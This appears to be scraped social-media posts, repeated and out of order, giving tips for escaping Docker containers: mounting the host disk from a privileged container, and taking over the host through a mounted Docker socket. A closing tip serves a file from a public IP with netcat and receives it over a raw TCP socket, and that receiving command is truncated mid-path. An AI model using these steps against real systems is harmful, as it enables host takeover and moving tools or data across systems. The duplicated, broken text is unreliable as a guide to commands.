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2. Escaping a privileged Container
To escape a privileged container is pretty easy because you have access to the devices under /dev, i.e. you can mount the disk inside the container and access the host filesystem.
2. Escaping a privileged Container
To escape a privileged container is pretty easy because you have access to the devices under /dev, i.e. you can mount the disk inside the container and access the host filesystem.
1. Mounted Docker socket:
If you find a mounted Docker socket inside a container it can usually be exploited to takeover the host.
This is because docker itself does not have access control and access to the socket allows to perform any action.
1. Mounted Docker socket:
If you find a mounted Docker socket inside a container it can usually be exploited to takeover the host.
This is because docker itself does not have access control and access to the socket allows to perform any action.
I will explain them to you in a Docker escape series.
#PrivilegeEscalation #ContainerBreakout
#DockerBreakout
I will explain them to you in a Docker escape series.
#PrivilegeEscalation #ContainerBreakout
#DockerBreakout
You can leverage Linux's raw TCP network socket.
Host the file on a public accessible IP with:
nc -lvp 999 < /path/file
And receive it on the client with:
cat < /dev/net/
You can leverage Linux's raw TCP network socket.
Host the file on a public accessible IP with:
nc -lvp 999 < /path/file
And receive it on the client with:
cat < /dev/net/
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